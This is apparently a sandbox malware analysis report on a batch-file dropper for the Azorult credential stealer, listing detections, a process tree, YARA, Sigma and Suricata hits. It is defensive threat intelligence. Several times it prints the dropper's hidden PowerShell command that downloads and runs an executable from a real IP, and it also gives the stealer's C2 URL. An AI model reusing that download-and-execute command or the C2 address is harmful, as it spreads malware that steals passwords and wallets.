Edit tour

Windows Analysis Report
Order-63729_Reference.bat

Overview

General Information

Sample name:	Order-63729_Reference.bat
Analysis ID:	1524688
MD5:	1959937c119d4b66dd48d8067850f50d
SHA1:	83c9104b1aa305fe13d1321cda6a2cabbb9241fc
SHA256:	e512ec36ea716c5a62c1a24fb8b794c4e6a0db4c5c7ed1d16025400428622cc2
Infos:

Detection

Azorult

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected Azorult Info Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Powershell drops PE file

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Binary contains a suspicious time stamp

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 5616 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1436 cmdline: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

Order-63729_Reference.exe (PID: 6980 cmdline: "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe" MD5: 27864DD446F03F806B26031D97E3377B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/ https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Malware Configuration

Threatname: Azorult

{"C2 url": "http://h8m5b.shop/ML341/index.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x1c30f:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xe3ad:$a2: %APPDATA%\.purple\accounts.xml 0xebcd:$a3: %TEMP%\curbuf.dat 0x1c093:$a4: PasswordsList.txt 0x1686d:$a5: Software\Valve\Steam
dump.pcap	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x1a24f:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1a8f5:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1f1c3:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x4eb677:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x1c21f:$v2: http://ip-api.com/json 0x1ace1:$v3: C6 07 1E C6 47 01 15 C6 47 02 34

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19850:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xcb78:$a2: %APPDATA%\.purple\accounts.xml 0xd2c0:$a3: %TEMP%\curbuf.dat 0x195d4:$a4: PasswordsList.txt 0x145d8:$a5: Software\Valve\Steam
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Azorult_1	Azorult Payload	kevoreilly	0x17c78:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x120ac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17a18:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18078:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19760:$v2: http://ip-api.com/json 0x183d2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000003.2159881984.0000000003F44000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2159558849.0000000003270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000003.2159912461.0000000003274000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xc778:$a2: %APPDATA%\.purple\accounts.xml 0xcec0:$a3: %TEMP%\curbuf.dat 0x191d4:$a4: PasswordsList.txt 0x141d8:$a5: Software\Valve\Steam
00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x17c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19360:$v2: http://ip-api.com/json 0x17fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000004.00000003.2158939584.00000000020C4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19450:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xc778:$a2: %APPDATA%\.purple\accounts.xml 0xcec0:$a3: %TEMP%\curbuf.dat 0x191d4:$a4: PasswordsList.txt 0x141d8:$a5: Software\Valve\Steam
00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17618:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x17c78:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19360:$v2: http://ip-api.com/json 0x17fd2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
00000004.00000003.2158957820.0000000003C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Order-63729_Reference.exe PID: 6980	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: Order-63729_Reference.exe PID: 6980	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: Order-63729_Reference.exe PID: 6980	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.Order-63729_Reference.exe.400000.0.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
4.2.Order-63729_Reference.exe.400000.0.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
4.2.Order-63729_Reference.exe.400000.0.unpack	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19850:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xcb78:$a2: %APPDATA%\.purple\accounts.xml 0xd2c0:$a3: %TEMP%\curbuf.dat 0x195d4:$a4: PasswordsList.txt 0x145d8:$a5: Software\Valve\Steam
4.2.Order-63729_Reference.exe.400000.0.unpack	Azorult_1	Azorult Payload	kevoreilly	0x17c78:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x120ac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
4.2.Order-63729_Reference.exe.400000.0.unpack	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17a18:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18078:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19760:$v2: http://ip-api.com/json 0x183d2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
4.0.Order-63729_Reference.exe.400000.0.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
4.0.Order-63729_Reference.exe.400000.0.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
4.0.Order-63729_Reference.exe.400000.0.unpack	Windows_Trojan_Azorult_38fce9ea	unknown	unknown	0x19850:$a1: /c %WINDIR%\system32\timeout.exe 3 & del " 0xcb78:$a2: %APPDATA%\.purple\accounts.xml 0xd2c0:$a3: %TEMP%\curbuf.dat 0x195d4:$a4: PasswordsList.txt 0x145d8:$a5: Software\Valve\Steam
4.0.Order-63729_Reference.exe.400000.0.unpack	Azorult_1	Azorult Payload	kevoreilly	0x17c78:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ... 0x120ac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
4.0.Order-63729_Reference.exe.400000.0.unpack	Azorult	detect Azorult in memory	JPCERT/CC Incident Response Group	0x17a18:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x18078:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) 0x19760:$v2: http://ip-api.com/json 0x183d2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
4.3.Order-63729_Reference.exe.3865f7e.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.3.Order-63729_Reference.exe.3865f7e.0.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x299269:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29a19a:$string1: SELECT origin_url, username_value, password_value FROM logins 0x109a34:$string2: API call with %s database connection pointer 0x10a668:$string3: os_win.c:%d: (%lu) %s(%s) - %s
4.3.Order-63729_Reference.exe.37fa82d.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.3.Order-63729_Reference.exe.37fa82d.2.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x3049ba:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3058eb:$string1: SELECT origin_url, username_value, password_value FROM logins 0x175185:$string2: API call with %s database connection pointer 0x175db9:$string3: os_win.c:%d: (%lu) %s(%s) - %s
4.3.Order-63729_Reference.exe.37d8840.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.3.Order-63729_Reference.exe.37d8840.1.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x3269a7:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3278d8:$string1: SELECT origin_url, username_value, password_value FROM logins 0x197172:$string2: API call with %s database connection pointer 0x197da6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 1436, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 1436, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 1436, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe, ProcessId: 1436, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AZORult v3.3 Server Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T05:02:56.029936+0200	2029136	1	Malware Command and Control Activity Detected	172.67.159.45	80	192.168.2.5	49705	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T05:02:55.777164+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49705	172.67.159.45	80	TCP
2024-10-03T05:03:00.636873+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49706	172.67.159.45	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T05:02:55.777164+0200	2810276	1	Malware Command and Control Activity Detected	192.168.2.5	49705	172.67.159.45	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.2.Order-63729_Reference.exe.400000.0.unpack

Malware Configuration Extractor: Azorult {"C2 url": "http://h8m5b.shop/ML341/index.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_004094C4 CryptUnprotectData,LocalFree,

4_2_004094C4

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.4.dr
Source:	Binary string: ucrtbase.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159524100.00000000036B8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: msvcp140.i386.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.4.dr
Source:	Binary string: ucrtbase.pdbUGP source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.4.dr
